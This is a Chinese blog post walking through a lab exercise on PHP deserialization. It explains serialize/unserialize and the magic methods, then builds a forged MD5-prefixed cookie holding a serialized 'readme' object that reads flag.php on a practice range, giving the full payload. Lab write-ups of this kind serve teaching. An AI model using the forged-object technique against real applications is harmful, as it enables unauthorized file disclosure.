反序列化漏洞

举报
xcc-2022 发表于 2023/02/24 21:29:57 2023/02/24
【摘要】 知识梳理1. php序列化php为了方便进行数据的传输,允许把复杂的数据结构,压缩到一个字符串中。使用serialize()函数。类似于游戏存档。2. php反序列化将被压缩为字符串的复杂数据结构,重新恢复。使用unserialize() 函数。类似于游戏读档。3. php反序列化漏洞php有许多魔术方法,如果代码中使用了反序列化 unserialize()函数,并且参数可控制,那么可以通过...

知识梳理

1. php序列化

php为了方便进行数据的传输,允许把复杂的数据结构,压缩到一个字符串中。使用serialize()函数。类似于游戏存档。

2. php反序列化

将被压缩为字符串的复杂数据结构,重新恢复。使用unserialize() 函数。类似于游戏读档。

3. php反序列化漏洞

php有许多魔术方法,如果代码中使用了反序列化 unserialize()函数,并且参数可控制,那么可以通过设定注入参数来完成想要实现的目的。

__sleep()
serialize() 函数会检查是否存在一个魔术方法 __sleep().如果存在,__sleep()方法会先被调用, 然后才执行序列化操作。
__wakeup
unserialize()会检查是否存在一个_wakeup( ) 方法。如果存在,则会先调用_wakeup 方法,预先准备对象需要的资源。
__construct
具有构造函数的类会在每次创建新对象时先调用此方法。
__destruct
某个对象的所有引用都被删除或者当对象被显式销毁时执行。
__toString()
用于一个类被当成字符串时执行

靶场

靶场地址

http://59.63.200.79:8010/uns/index.php

  • 代码分析
Class readme{       
    public function __toString()        //定义魔术方法,在对象被当作字符串时触发
    {
        return highlight_file('Readme.txt', true).highlight_file($this->source, true);
        //返回Readme.txt文件的内容,变量source的内容
    }
}
if(isset($_GET['source'])){      //判断get传参里是否有source的值
    $s = new readme();              //实体化类readme
    $s->source = __FILE__;          //将当前文件绝对路径赋值给变量source
    echo $s;                          //echo会把一切当成字符串处理,调用__toString()
    exit;                            //退出
}
//$todos = [];
if(isset($_COOKIE['todos'])){       //判断cookie传参里是否有todos的值
    $c = $_COOKIE['todos'];         //将todos的值赋值给变量c
    $h = substr($c, 0, 32);         //截取变量c的前32位字符赋值给变量h
    $m = substr($c, 32);            //截取变量c从32位后的所有字符赋值给变量m
    if(md5($m) === $h){             //判断md5加密后$m的值是否等于$h的值(=== 比较字符类型)
        $todos = unserialize($m);   //将反序列化后的$m值复制给$todos
    }
}
if(isset($_POST['text'])){          //判断post传参中是否有tezt的值
    $todo = $_POST['text'];         //将text的值赋值给$todo
    $todos[] = $todo;               //将$todo的值以数组的形式赋值给 $todos数组
    $m = serialize($todos);         //将$todos序列化后的值赋值给$m
    $h = md5($m);                   //将md5加密后$m的值赋值给 $h
    setcookie('todos', $h.$m);      //向客户端发送一个cookie,cookie的值为$h.$m
    header('Location: '.$_SERVER['REQUEST_URI']);       //向客户端发送header头
    exit;
}
?>
<html>
<head>
</head>

<h1>Readme</h1>
<a href="?source"><h2>Check Code</h2></a>
<ul>
<?php foreach($todos as $todo):?>       //处理数组将数组$todos中的值取出,逐一赋值给$todo
    <li><?=$todo?></li>                 //输出$todo的值等同于echo $todo;
<?php endforeach;?>
</ul>

<form method="post" href=".">
    <textarea name="text"></textarea>
    <input type="submit" value="store">
</form>

if(isset(_GET['source'])){ //判断get传参里是否有source的值s = new readme(); //实体化类readme
s->source = __FILE__; //将当前文件绝对路径赋值给变量source echos; //echo会把一切当成字符串处理,调用__toString()
exit; //退出
}


可以看到成员变量可以控制,只要按照上面代码中对Cookie的处理逻辑,构造好包含着能反序列化为 readme 对象的字符串,然后放到Cookie中去访问,就能将flag.php的内容打印到页面上。

  • 本地构建php程序获取反序列化数据

<?php
Class readme{       
    public function __toString()        //定义魔术方法,在对象被当作字符串时触发
    {
        return highlight_file('Readme.txt', true).highlight_file($this->source, true);
        //返回Readme.txt文件的内容,变量source的内容
    }
}
if(isset($_GET['source'])){      //判断get传参里是否有source的值
    $s = new readme();              //实体化类readme
    $s->source = './flag.php';          //将flag所在位置赋值给source
    $s=[$s];                            //将$s以数组的形式存储
    echo md5(serialize($s)).serialize($s);  
    //构建cookie格式    
  
}
?>



image

得到fae1710f5e51885bcf095e718ca752cca:1:{i:0;O:6:"readme":1:{s:6:"source";s:10:"./flag.php";}}
将得到的值进行url加密
fae1710f5e51885bcf095e718ca752cca%3A1%3A%7Bi%3A0%3BO%3A6%3A%22readme%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A10%3A%22./flag.php%22%3B%7D%7D
在插件内进行修改



image

得到flag="zkz{UNs_what_what?}"


【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。